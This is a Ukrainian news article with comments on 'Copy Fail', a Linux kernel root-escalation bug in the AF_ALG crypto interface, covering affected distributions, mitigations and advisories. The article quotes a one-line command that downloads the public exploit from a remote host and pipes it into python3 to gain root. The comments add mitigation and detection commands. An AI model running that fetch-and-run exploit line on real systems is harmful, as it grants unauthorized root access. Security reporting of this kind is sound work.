В ядрі Linux знайшли діру з 2017 року, яка віддає root-доступ до хосту за пару секунд
У ядрі Linux знайшли критичну вразливість Copy Fail, яка залишалася непоміченою з 2017 року. Вона дозволяє будь-якому користувачу отримати права root, а експлойт працює на всіх основних дистрибутивах.
Як це працює
Copy Fail експлуатує підсистему шифрування ядра Linux через інтерфейс AF_ALG. Зловмисник використовує звичайні системні виклики sendmsg() та splice(), щоб змусити ядро помилково перезаписати 4 байти пам’яті. І перезапис відбувається безпосередньо у кеші сторінок.
Для атаки достатньо навіть мінімального доступу до системи. Не потрібен доступ до мережі чи якісь специфічні налаштування. Будь-яка система з ядром, зібраним між 2017 роком і виходом актуального патчу, перебуває в зоні ризику. Дослідники вже перевірили та підтвердили роботу експлойту на Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 та SUSE 16. Debian, Arch, Fedora та інші дистрибутиви поводяться аналогічно.
Джерело — звіт про Copy Fail
Найбільшу загрозу вразливість становить для інфраструктур, де ядро ділять кілька ізольованих процесів. У кластерах Kubernetes та звичайних контейнерах кеш сторінок є спільним для всього хоста, тому злам одного контейнера дозволяє хакеру вирватися назовні й захопити всю ноду. Схожа ситуація з GitHub Actions або Jenkins, де будь-який неперевірений скрипт із пулл-реквесту миттєво отримує права root на спільному раннері. А у хмарних SaaS-сервісах, serverless-архітектурі чи просто на серверах розробки звичайний клієнт здатний без зайвих зусиль перехопити повний контроль над машиною.
Доказ концепції copy_fail_exp.py вже виклали на GitHub. Це Python-скрипт розміром у 732 байти, який використовує лише стандартні бібліотеки os, socket та zlib. За замовчуванням він націлений на модифікацію кешу бінарника /usr/bin/su. Швидкий запуск зводиться до завантаження скрипта утилітою curl з домену copy.fail/exp та його виконання. Відразу після цього викликається su і користувач отримує права root.
curl https://copy.fail/exp | python3 && su id uid=0(root) gid=1002(user) groups=1002(user)

Вендори вже випускають оновлення, яке латає цю проблему.
Якщо оновити пакет ядра прямо зараз неможливо, варто примусово вимкнути модуль шляхом створенням конфігу в теці /etc/modprobe.d/ з рядком install algif_aead /bin/false та подальшим вивантаженням модуля командою rmmod algif_aead.
Для ізольованих середовищ на кшталт пісочниць чи контейнерів фахівці рекомендують жорстко блокувати створення таких криптографічних з’єднань через системні політики безпеки, навіть якщо ви вже встановили патч.

14 коментарів
Додати коментар Підписатись на коментаріВідписатись від коментарівДля тих хто не може одразу оновити ядро: lsmod | grep algif якщо модуль не завантажений атака вже неможлива.
Додайте install algif_aead /bin/false в modprobe.d та не забудьте перевірити усi хости, де ядро збиралось після 2017 без актуального патчу.
Ха, ми ще з 2021 року це відключили:
grubby —update-kernel=ALL —args="initcall_blacklist=algif_aead_init"
Перевірити можна так:
python3 -c ’import socket; s=socket.socket(38,5,0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("vulnerable“); s.close()’ 2>/dev/null || echo “Not vulnerable / blocked”
Дивно, що з 2021 ми про це писали й результат = 0 а тепер всі прокинулися.
Цікаво кому писали у 2021 році? Треба тих людей притягати до відповідальності)
Якщо так, то Copy fail у такому разі ігнорили протягом 5 (!) років. Сумно, що іноді починають це фіксити лише тоді коли роблять public disclosure.
Писали сюди: [email protected] та [email protected]
Що ж, прикро, дійсно прикро (
І вам дякую за пробу це зарепортити. Пишаюсь українськими фахівцями. Це дійсно круто, що ви знайшли цей баг першими.
Редхати це крінж контора, з мізерними зп, та говнопродуктами.
Наступного разу краще все ж репортити в ком’юніті ядра, але власнику дістру.
А так, молодці, що хоч себе убезпечили.
$ python3 -c 'import socket; s=socket.socket(38,5,0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("vulnerable"); s.close()' 2>/dev/null || echo "Not vulnerable / blocked" vulnerable $ uname -a Linux vs10514.ee.ria.com 6.12.0-124.55.1.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 10:19:43 EDT 2026 x86_64 GNU/LinuxХоча ядро вже не вразливенавайбкодили
oh, wait
Та ні, ця вразливість стосується зміни, що сталася у ядрі Linux ще у 2017 році.Та її зараз відкатили. Хоча досі не зрозуміло хто саме знайшов цю вразливість — людина, чи все ж таки AI, може той же Anthropic Mythos.
Зарепортили вразливість дослідники xint.io
Дистрибутиви, що працюють на Linux-ядрах у вразливому діапазоні, також слід вважати ураженими Copy Fail. Це, зокрема, Debian, Arch Linux, Fedora, Rocky Linux, AlmaLinux, Oracle Linux, а також embedded Linux-дистрибутиви.
Ubuntu 26.04 (Resolute) і новіші ядра не вразливі.
Додаткову інформацію щодо виправлень можна знайти у advisory, а також у security tracker’ах вендорів:
1. ubuntu.com/security/CVE-2026-31431
2. www.suse.com/...curity/cve/CVE-2026-31431
3. access.redhat.com/...curity/cve/CVE-2026-31431
4. docs.docker.com/engine/security/seccomp
5. kubernetes.io/...torials/security/seccomp
Рекомендується встановити відповідне оновлення ядра Linux вашого дистрибутиву якомога швидше після того, як вендори випустять патч.
Тимчасовий фікс
До появи патча, як тимчасовий фікс, необхідно вимкнути модуль ядра algif_aead на всіх уражених системах:
Цей тимчасовий фікс не впливає на роботу dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS або SSH. Водночас він може вплинути на застосунки, які явно налаштовані на використання afalg або використовують aead/skcipher/hash сокети.Як не покласти щось
Перевірити, чи щось використовує модулі algif_aead, можна за допомогою команди:
Якщо будуть запитання щодо виправлення, пишіть @stansecure — спробую допомогти або щось підказати.Запрошую доєднатися до мого Telegram-каналу та буду радий бачити у LinkedIn.
Тепер я спокійно засну, все полатали😃
А як полатали хоч?)
Див. више, додав коментар з тимчасовим фіксом Copy File та посилання на advisory, хутчіш виправляйте)